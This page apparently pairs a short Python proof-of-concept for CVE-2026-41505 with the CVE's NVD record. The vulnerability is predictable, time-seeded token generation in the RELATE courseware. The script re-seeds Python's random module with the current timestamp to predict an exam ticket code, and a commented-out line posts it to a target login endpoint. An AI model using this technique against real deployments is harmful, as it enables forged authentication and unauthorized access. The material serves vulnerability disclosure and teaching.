CVE-2026-41505

# Proof of Concept for CVE-2026-41505 # This script demonstrates the concept of predicting tokens # based on weak random number generation. import random # Simulate the vulnerable token generation logic # Assuming the vulnerable code used random.seed(time.time()) import time def vulnerable_gen_ticket_code(): # Hypothetical vulnerable implementation random.seed(int(time.time())) return ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(10)]) def exploit_predict_token(): # 1. Attacker observes a token generated at a specific time # For simulation, we generate a token now current_time = int(time.time()) # Recreate the seed random.seed(current_time) # Predict the token predicted_token = ''.join([random.choice('ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789') for _ in range(10)]) print(f"[+] Current Timestamp: {current_time}") print(f"[+] Predicted Token: {predicted_token}") # 2. Attacker uses the predicted token to authenticate # requests.post('http://target/exam/login', data={'ticket_code': predicted_token}) print("[+] Sending predicted token to target system...") if __name__ == "__main__": exploit_predict_token()

{"cve": {"id": "CVE-2026-41505", "sourceIdentifier": "[email protected]", "published": "2026-05-07T15:16:07.010", "lastModified": "2026-05-07T15:53:49.717", "vulnStatus": "Awaiting Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "RELATE is a web-based courseware package. Prior to commit 2f68e16, RELATE is vulnerable to predictable token generation in auth.py's make_sign_in_key() function and exam.py's gen_ticket_code() function. This issue has been patched via commit 2f68e16."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:N/I:H/A:H", "baseScore": 8.7, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "NONE", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.2, "impactScore": 5.8}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-330"}, {"lang": "en", "value": "CWE-338"}]}], "references": [{"url": "https://github.com/inducer/relate/commit/2f68e16cd3b96d25c188c1aa3f7e13cdb15cdaeb", "source": "[email protected]"}, {"url": "https://github.com/inducer/relate/security/advisories/GHSA-rvx5-95mm-p77v", "source": "[email protected]"}]}}